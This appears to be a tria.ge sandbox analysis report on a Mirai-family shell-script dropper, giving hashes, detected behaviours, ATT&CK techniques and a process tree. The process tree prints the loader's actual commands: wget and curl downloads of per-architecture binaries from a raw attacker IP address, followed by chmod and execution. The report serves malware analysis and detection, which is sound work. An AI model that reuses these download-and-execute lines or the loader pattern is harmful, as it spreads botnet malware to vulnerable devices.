Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
137s -
max time network
123s -
platform
debian-9_armhf -
resource
debian9-armhf-20240418-en -
resource tags
arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
22/12/2024, 12:41
Static task
static1
Behavioral task
behavioral1
Sample
1.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
1.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
1.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
1.sh
-
Size
2KB
-
MD5
8364b34731a2e12ce67c2cfcb2811e75
-
SHA1
5d718457dfa0ecc1a46528696d2769d11adf018f
-
SHA256
cbeb5e39ef97058edd87f838971c4bab379a1a76a3b07b60cd9734efd8154cea
-
SHA512
ca94f2b3643f6047efc405c15eab8fce850602cb28dbf36d760e7b6010df32c202066ab2ef66a79e0437792d8b5babc6f7a5742f7cb26df6e6354b55e1c837f9
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 715 chmod 835 chmod 855 chmod 678 chmod 685 chmod 732 chmod 750 chmod 770 chmod 806 chmod 823 chmod 841 chmod 846 chmod 698 chmod 760 chmod 811 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/Space 679 Space /tmp/Space 686 Space /tmp/Space 699 Space /tmp/Space 716 Space /tmp/Space 733 Space /tmp/Space 751 Space /tmp/Space 761 Space /tmp/Space 771 Space /tmp/Space 807 Space /tmp/Space 812 Space /tmp/Space 824 Space /tmp/Space 836 Space /tmp/Space 842 Space /tmp/Space 847 Space /tmp/Space 856 Space -
Modifies Watchdog functionality 1 TTPs 6 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/misc/watchdog Space -
Enumerates running processes
Discovers information about currently running processes on the system
-
Writes file to system bin folder 6 IoCs
description ioc Process File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space -
resource yara_rule behavioral2/files/fstream-5.dat upx behavioral2/files/fstream-6.dat upx behavioral2/files/fstream-7.dat upx behavioral2/files/fstream-8.dat upx -
Checks CPU configuration 1 TTPs 15 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/16/status Space File opened for reading /proc/42/status Space File opened for reading /proc/13/status Space File opened for reading /proc/255/status Space File opened for reading /proc/600/status Space File opened for reading /proc/768/status Space File opened for reading /proc/26/status Space File opened for reading /proc/6/status Space File opened for reading /proc/688/status Space File opened for reading /proc/645/status Space File opened for reading /proc/815/status Space File opened for reading /proc/2/status Space File opened for reading /proc/336/status Space File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/1/status Space File opened for reading /proc/self/exe Space File opened for reading /proc/601/status Space File opened for reading /proc/638/status Space File opened for reading /proc/600/status Space File opened for reading /proc/76/status Space File opened for reading /proc/648/status Space File opened for reading /proc/43/status Space File opened for reading /proc/8/status Space File opened for reading /proc/644/status Space File opened for reading /proc/8/status Space File opened for reading /proc/18/status Space File opened for reading /proc/19/status Space File opened for reading /proc/76/status Space File opened for reading /proc/109/status Space File opened for reading /proc/24/status Space File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/648/status Space File opened for reading /proc/4/status Space File opened for reading /proc/109/status Space File opened for reading /proc/277/status Space File opened for reading /proc/260/status Space File opened for reading /proc/304/status Space File opened for reading /proc/597/status Space File opened for reading /proc/3/status Space File opened for reading /proc/98/status Space File opened for reading /proc/self/auxv curl File opened for reading /proc/108/status Space File opened for reading /proc/294/status Space File opened for reading /proc/278/status Space File opened for reading /proc/23/status Space File opened for reading /proc/138/status Space File opened for reading /proc/4/status Space File opened for reading /proc/11/status Space File opened for reading /proc/14/status Space File opened for reading /proc/275/status Space File opened for reading /proc/594/status Space File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/15/status Space File opened for reading /proc/106/status Space File opened for reading /proc/819/status Space File opened for reading /proc/19/status Space File opened for reading /proc/24/status Space File opened for reading /proc/41/status Space File opened for reading /proc/17/status Space File opened for reading /proc/18/status Space -
System Network Configuration Discovery 1 TTPs 6 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 719 wget 725 curl 731 cat 735 wget 741 curl 749 cat -
Writes file to tmp directory 30 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/Space.arm curl File opened for modification /tmp/Space.arm6 wget File opened for modification /tmp/Space.mips wget File opened for modification /tmp/Space.ppc wget File opened for modification /tmp/Space.m68k curl File opened for modification /tmp/Space.i686 wget File opened for modification /tmp/Space.mpsl curl File opened for modification /tmp/Space.arm5 curl File opened for modification /tmp/Space.arm6 curl File opened for modification /tmp/Space.ppc curl File opened for modification /tmp/Space.i686 curl File opened for modification /tmp/Space.arm5 wget File opened for modification /tmp/Space.arm7 wget File opened for modification /tmp/Space.arm7 curl File opened for modification /tmp/Space.sparc curl File opened for modification /tmp/Space.sh4 wget File opened for modification /tmp/Space.arc wget File opened for modification /tmp/Space.x86_64 wget File opened for modification /tmp/Space.arm wget File opened for modification /tmp/Space.x86 curl File opened for modification /tmp/Space.x86_64 curl File opened for modification /tmp/Space.mpsl wget File opened for modification /tmp/busybox cp File opened for modification /tmp/Space.m68k wget File opened for modification /tmp/Space 1.sh File opened for modification /tmp/Space.x86 wget File opened for modification /tmp/Space.mips curl File opened for modification /tmp/Space.mips64 curl File opened for modification /tmp/Space.sh4 curl File opened for modification /tmp/Space.arc curl
Processes
-
/tmp/1.sh/tmp/1.sh1⤵
- Writes file to tmp directory
PID:646 -
/bin/cpcp /bin/busybox /tmp/2⤵
- Writes file to tmp directory
PID:649
-
-
/usr/bin/wgetwget http://154.216.20.221/hiddenbin/Space.arc2⤵
- Writes file to tmp directory
PID:654
-
-
/usr/bin/curlcurl -O http://154.216.20.221/hiddenbin/Space.arc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:669
-
-
/bin/catcat Space.arc2⤵PID:677
-
-
/bin/chmodchmod +x 1.sh busybox Space Space.arc systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS2⤵
- File and Directory Permissions Modification
PID:678
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
PID:679
-
-
/usr/bin/wgetwget http://154.216.20.221/hiddenbin/Space.x862⤵
- Writes file to tmp directory
PID:681
-
-
/usr/bin/curlcurl -O http://154.216.20.221/hiddenbin/Space.x862⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:683
-
-
/bin/catcat Space.x862⤵PID:684
-
-
/bin/chmodchmod +x 1.sh busybox Space Space.arc Space.x86 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS2⤵
- File and Directory Permissions Modification
PID:685
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
PID:686
-
-
/usr/bin/wgetwget http://154.216.20.221/hiddenbin/Space.x86_642⤵
- Writes file to tmp directory
PID:689
-
-
/usr/bin/curlcurl -O http://154.216.20.221/hiddenbin/Space.x86_642⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:690
-
-
/bin/catcat Space.x86_642⤵PID:696
-
-
/bin/chmodchmod +x 1.sh busybox Space Space.arc Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS2⤵
- File and Directory Permissions Modification
PID:698
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
PID:699
-
-
/usr/bin/wgetwget http://154.216.20.221/hiddenbin/Space.i6862⤵
- Writes file to tmp directory
PID:702
-
-
/usr/bin/curlcurl -O http://154.216.20.221/hiddenbin/Space.i6862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:707
-
-
/bin/catcat Space.i6862⤵PID:713
-
-
/bin/chmodchmod +x 1.sh busybox Space Space.arc Space.i686 Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS2⤵
- File and Directory Permissions Modification
PID:715
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
PID:716
-
-
/usr/bin/wgetwget http://154.216.20.221/hiddenbin/Space.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:719
-
-
/usr/bin/curlcurl -O http://154.216.20.221/hiddenbin/Space.mips2⤵
- Checks CPU configuration
- System Network Configuration Discovery
- Writes file to tmp directory
PID:725
-
-
/bin/catcat Space.mips2⤵
- System Network Configuration Discovery
PID:731
-
-
/bin/chmodchmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS2⤵
- File and Directory Permissions Modification
PID:732
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
PID:733
-
-
/usr/bin/wgetwget http://154.216.20.221/hiddenbin/Space.mips642⤵
- System Network Configuration Discovery
PID:735
-
-
/usr/bin/curlcurl -O http://154.216.20.221/hiddenbin/Space.mips642⤵
- Checks CPU configuration
- System Network Configuration Discovery
- Writes file to tmp directory
PID:741
-
-
/bin/catcat Space.mips642⤵
- System Network Configuration Discovery
PID:749
-
-
/bin/chmodchmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS2⤵
- File and Directory Permissions Modification
PID:750
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
PID:751
-
-
/usr/bin/wgetwget http://154.216.20.221/hiddenbin/Space.mpsl2⤵
- Writes file to tmp directory
PID:752
-
-
/usr/bin/curlcurl -O http://154.216.20.221/hiddenbin/Space.mpsl2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:758
-
-
/bin/catcat Space.mpsl2⤵PID:759
-
-
/bin/chmodchmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS2⤵
- File and Directory Permissions Modification
PID:760
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
PID:761
-
-
/usr/bin/wgetwget http://154.216.20.221/hiddenbin/Space.arm2⤵
- Writes file to tmp directory
PID:763
-
-
/usr/bin/curlcurl -O http://154.216.20.221/hiddenbin/Space.arm2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:764
-
-
/bin/catcat Space.arm2⤵PID:769
-
-
/bin/chmodchmod +x 1.sh busybox Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS2⤵
- File and Directory Permissions Modification
PID:770
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:771
-
-
/usr/bin/wgetwget http://154.216.20.221/hiddenbin/Space.arm52⤵
- Writes file to tmp directory
PID:803
-
-
/usr/bin/curlcurl -O http://154.216.20.221/hiddenbin/Space.arm52⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:804
-
-
/bin/catcat Space.arm52⤵PID:805
-
-
/bin/chmodchmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS2⤵
- File and Directory Permissions Modification
PID:806
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
PID:807
-
-
/usr/bin/wgetwget http://154.216.20.221/hiddenbin/Space.arm62⤵
- Writes file to tmp directory
PID:808
-
-
/usr/bin/curlcurl -O http://154.216.20.221/hiddenbin/Space.arm62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:809
-
-
/bin/catcat Space.arm62⤵PID:810
-
-
/bin/chmodchmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS2⤵
- File and Directory Permissions Modification
PID:811
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:812
-
-
/usr/bin/wgetwget http://154.216.20.221/hiddenbin/Space.arm72⤵
- Writes file to tmp directory
PID:820
-
-
/usr/bin/curlcurl -O http://154.216.20.221/hiddenbin/Space.arm72⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:821
-
-
/bin/catcat Space.arm72⤵PID:822
-
-
/bin/chmodchmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS2⤵
- File and Directory Permissions Modification
PID:823
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:824
-
-
/usr/bin/wgetwget http://154.216.20.221/hiddenbin/Space.ppc2⤵
- Writes file to tmp directory
PID:832
-
-
/usr/bin/curlcurl -O http://154.216.20.221/hiddenbin/Space.ppc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:833
-
-
/bin/catcat Space.ppc2⤵PID:834
-
-
/bin/chmodchmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS2⤵
- File and Directory Permissions Modification
PID:835
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
PID:836
-
-
/usr/bin/wgetwget http://154.216.20.221/hiddenbin/Space.sparc2⤵PID:838
-
-
/usr/bin/curlcurl -O http://154.216.20.221/hiddenbin/Space.sparc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:839
-
-
/bin/catcat Space.sparc2⤵PID:840
-
-
/bin/chmodchmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS2⤵
- File and Directory Permissions Modification
PID:841
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
PID:842
-
-
/usr/bin/wgetwget http://154.216.20.221/hiddenbin/Space.m68k2⤵
- Writes file to tmp directory
PID:843
-
-
/usr/bin/curlcurl -O http://154.216.20.221/hiddenbin/Space.m68k2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:844
-
-
/bin/catcat Space.m68k2⤵PID:845
-
-
/bin/chmodchmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS2⤵
- File and Directory Permissions Modification
PID:846
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
PID:847
-
-
/usr/bin/wgetwget http://154.216.20.221/hiddenbin/Space.sh42⤵
- Writes file to tmp directory
PID:849
-
-
/usr/bin/curlcurl -O http://154.216.20.221/hiddenbin/Space.sh42⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:853
-
-
/bin/catcat Space.sh42⤵PID:854
-
-
/bin/chmodchmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:855
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
PID:856
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
37KB
MD5b73e8fbb7aee4bbe5902554d6ab22092
SHA1620097bfd55d8ade8d138bb2ba10e8d4c43fd105
SHA25622dfde185b0b8051baf38817b34383b65d9dbe7ef4f09ad9cd856154c0709d04
SHA512d42eed1c1ac183241f787c967d627e3df379c13c2b992c83c3cd9cdd5ee1446e8898709ad1472ba31a36aab9cbdc04b9c0a7c36668e39c8d26d5b808bb4ea9d8
-
Filesize
36KB
MD557c14d83bcaba972ea0b53c6814e9f65
SHA19834b2c220567c48d38ca9150a65e8145e6a0f36
SHA25607d4715e63470114117c803268c02a590af4e83c00fb0251be96032e136dabbf
SHA5127e14e067f428e598241038c80d517c9d22003e55d32c6bb64b153215b58ca2aee7c3ebf1538989e156c288f61e6f49a858f9cd02e0f4a92d15bc4d772348dd92
-
Filesize
37KB
MD5f1ec41bcdeefed4e7d8a5495c6f07a92
SHA1189e68405fe81999a6743eefb5522b35c5d0056b
SHA256ed564aaa907b55f773c3a1de910979d25652bccb5cc407a260cb16652c2d5cd7
SHA51226cb39a606efc65e524287053445d46639bb88af34cf4d0e81bd55154be8636bf77c36b11822aa355046771267df6a917bce4558780feda0001166d2385a1f04
-
Filesize
43KB
MD5ba5ceb1218e230d2029a3206061e2e92
SHA1f8c1c20e355c1fc999b414141c1e26c456b0241d
SHA256d61fd8e146be70d9228432177c62353000a2b7f3d5576453fe5d04cc2c9afdb2
SHA5127290e14d04ac418f61c2d81affda96b4a9e4e2f2f5725868bc81607377716986e1c37269cad4c6b2aaa8d8de219294e0b35944aecb700c21dbf4d48fed926192
-
Filesize
95KB
MD5ef098a9aa69350d3cec9b52774ee3721
SHA16d37368f07ad9e650aa1bb4108b667efe1edf95a
SHA256ad59b4acf07ff0c1673e9d8b5dff9b61871049cda583f852a857feed09194436
SHA5127520a7dc3890d8f6974478d1083563aa9926f85a4e1d6647f12207dec93a1af167c669b9b1b0e044943d7f3ba3a2c889c5a6b4c4dcedbe5d86780f68016ac3ad
-
Filesize
113KB
MD50fdd3e751fa9d0f60c5a218e4269c9ad
SHA10d9ae7d06494f59cfc3bfba8e162e29630159be3
SHA25681749b59ba614b200a57dd0990104117748a04add1ce6f28528328fb50e19528
SHA5122b9ab36b3f5fd535ff322c4ac3fcad543b3d6da8fdbad80c6dfad309bf33e340ed9871453f7614d3a35395e7afd23066d7c766fb7b4466ccf591e570300ae0de
-
Filesize
507KB
MD5e588bcf03ae78237b58899d35f50c570
SHA12194732ebbefbc27bdae876c77f2a97a20175710
SHA2562dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
SHA512904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555